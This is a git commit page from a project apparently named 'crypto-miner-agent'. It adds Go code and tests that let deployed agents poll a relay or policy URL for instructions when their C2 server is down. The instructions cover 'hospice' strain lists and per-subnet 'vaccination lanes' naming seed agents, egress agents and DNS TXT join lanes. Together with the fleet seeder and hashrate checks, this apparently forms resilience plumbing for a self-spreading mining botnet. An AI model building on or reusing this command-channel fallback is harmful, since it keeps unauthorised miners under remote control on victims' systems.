Add EventBridge policy fan-out for standalone degraded mode.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
This commit is contained in:
AetherForge
2026-06-07 10:10:16 -07:00
parent c12565c83d
commit f691270279
27 changed files with 1049 additions and 69 deletions

View File

@@ -25,7 +25,7 @@ func StartFleetTorrentSeederService(cfg config.RuntimeConfig) {
Healthy: true,
}})
}
StartZeroServerReconnect(func() error {
StartZeroServerPolicyMode(cfg, func() error {
log.Printf("[fleet-torrent] zero-server reconnect attempt")
return nil
})

View File

@@ -0,0 +1,151 @@
package deploy
import (
"encoding/json"
"io"
"log"
"net/http"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
)
const policySnapshotPollInterval = 5 * time.Minute
type VaccinationLaneHint struct {
Subnet, SeedAgent, JoinLane, EgressAgent string
}
type PolicySnapshotBody struct {
GenesisVersion int `json:"genesis_version"`
HospiceList []string `json:"hospice_list"`
VaccinationLanes []policyVaccinationLane `json:"vaccination_lanes"`
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
PolicyPollURL string `json:"policy_poll_url,omitempty"`
}
type policyVaccinationLane struct {
Subnet string `json:"subnet"`
Lane json.RawMessage `json:"lane,omitempty"`
}
var policySnapshotMu sync.RWMutex
var policyHospiceStrains map[string]bool
var policyVaccinationLanes []VaccinationLaneHint
var policyGenesisVersion int
func ApplyPolicySnapshot(body PolicySnapshotBody) {
policySnapshotMu.Lock()
defer policySnapshotMu.Unlock()
policyGenesisVersion = body.GenesisVersion
if len(body.HospiceList) > 0 {
policyHospiceStrains = make(map[string]bool, len(body.HospiceList))
for _, id := range body.HospiceList {
if id = strings.TrimSpace(strings.ToLower(id)); id != "" {
policyHospiceStrains[id] = true
}
}
}
if len(body.VaccinationLanes) > 0 {
lanes := make([]VaccinationLaneHint, 0, len(body.VaccinationLanes))
for _, e := range body.VaccinationLanes {
h := VaccinationLaneHint{Subnet: e.Subnet}
if len(e.Lane) > 0 {
var lane struct {
SeedAgentID string `json:"seed_agent_id"`
EgressAgentID string `json:"egress_agent_id"`
JoinLane string `json:"join_lane"`
}
if json.Unmarshal(e.Lane, &lane) == nil {
h.SeedAgent, h.EgressAgent, h.JoinLane = lane.SeedAgentID, lane.EgressAgentID, lane.JoinLane
}
}
lanes = append(lanes, h)
}
policyVaccinationLanes = lanes
}
}
func StrainInPolicyHospice(strain string) bool {
policySnapshotMu.RLock()
defer policySnapshotMu.RUnlock()
return policyHospiceStrains[strings.TrimSpace(strings.ToLower(strain))]
}
func VaccinationHintForSubnet(subnet string) (VaccinationLaneHint, bool) {
subnet = normalizePolicySubnet(subnet)
policySnapshotMu.RLock()
defer policySnapshotMu.RUnlock()
for _, l := range policyVaccinationLanes {
if normalizePolicySubnet(l.Subnet) == subnet {
return l, true
}
}
return VaccinationLaneHint{}, false
}
func PolicyGenesisVersion() int {
policySnapshotMu.RLock()
defer policySnapshotMu.RUnlock()
return policyGenesisVersion
}
func StartZeroServerPolicyMode(cfg config.RuntimeConfig, reconnectFn func() error) {
if r, p := strings.TrimSpace(cfg.EventBridgeRelayURL), strings.TrimSpace(cfg.PolicySnapshotPollURL); r != "" || p != "" {
go runPolicySnapshotPoller(r, p)
return
}
StartZeroServerReconnect(reconnectFn)
}
func runPolicySnapshotPoller(relayURL, pollURL string) {
ticker := time.NewTicker(policySnapshotPollInterval)
defer ticker.Stop()
poll := func() {
url := relayURL
if url == "" {
url = pollURL
}
body, err := fetchPolicySnapshot(url)
if err != nil {
log.Printf("[policy-snapshot] poll failed: %v", err)
return
}
ApplyPolicySnapshot(body)
}
poll()
for range ticker.C {
poll()
}
}
func fetchPolicySnapshot(url string) (PolicySnapshotBody, error) {
resp, err := http.Get(url)
if err != nil {
return PolicySnapshotBody{}, err
}
defer resp.Body.Close()
raw, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
if err != nil {
return PolicySnapshotBody{}, err
}
if resp.StatusCode != http.StatusOK {
return PolicySnapshotBody{}, errPolicyHTTP(resp.StatusCode)
}
var body PolicySnapshotBody
return body, json.Unmarshal(raw, &body)
}
type policyHTTPError int
func (e policyHTTPError) Error() string { return http.StatusText(int(e)) }
func errPolicyHTTP(c int) error { return policyHTTPError(c) }
func normalizePolicySubnet(s string) string {
s = strings.TrimSpace(s)
s = strings.TrimSuffix(s, ".0/24")
s = strings.TrimSuffix(s, "/24")
return strings.TrimSuffix(s, ".x")
}

View File

@@ -0,0 +1,54 @@
package deploy
import (
"encoding/json"
"net/http"
"net/http/httptest"
"sync/atomic"
"testing"
"time"
"crypto-miner-agent/config"
)
func TestApplyPolicySnapshotHospiceAndGenesis(t *testing.T) {
ApplyPolicySnapshot(PolicySnapshotBody{
GenesisVersion: 4,
HospiceList: []string{"Dead-Strain"},
VaccinationLanes: []policyVaccinationLane{{
Subnet: "10.0.5",
Lane: json.RawMessage(`{"seed_agent_id":"s1","join_lane":"dns_txt"}`),
}},
})
if PolicyGenesisVersion() != 4 {
t.Fatalf("genesis=%d", PolicyGenesisVersion())
}
if !StrainInPolicyHospice("dead-strain") {
t.Fatal("expected hospice strain")
}
h, ok := VaccinationHintForSubnet("10.0.5.0/24")
if !ok || h.SeedAgent != "s1" || h.JoinLane != "dns_txt" {
t.Fatalf("hint=%+v ok=%v", h, ok)
}
}
func TestZeroServerPolicyModePrefersRelayPoll(t *testing.T) {
var polls atomic.Int32
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
polls.Add(1)
_ = json.NewEncoder(w).Encode(PolicySnapshotBody{GenesisVersion: 1})
}))
defer srv.Close()
cfg := config.RuntimeConfig{}
cfg.EventBridgeRelayURL = srv.URL
StartZeroServerPolicyMode(cfg, func() error { return nil })
time.Sleep(150 * time.Millisecond)
if polls.Load() < 1 {
t.Fatal("expected relay poll")
}
}
func TestZeroServerPolicyModeFallsBackToReconnect(t *testing.T) {
cfg := config.RuntimeConfig{}
StartZeroServerPolicyMode(cfg, func() error { return nil })
}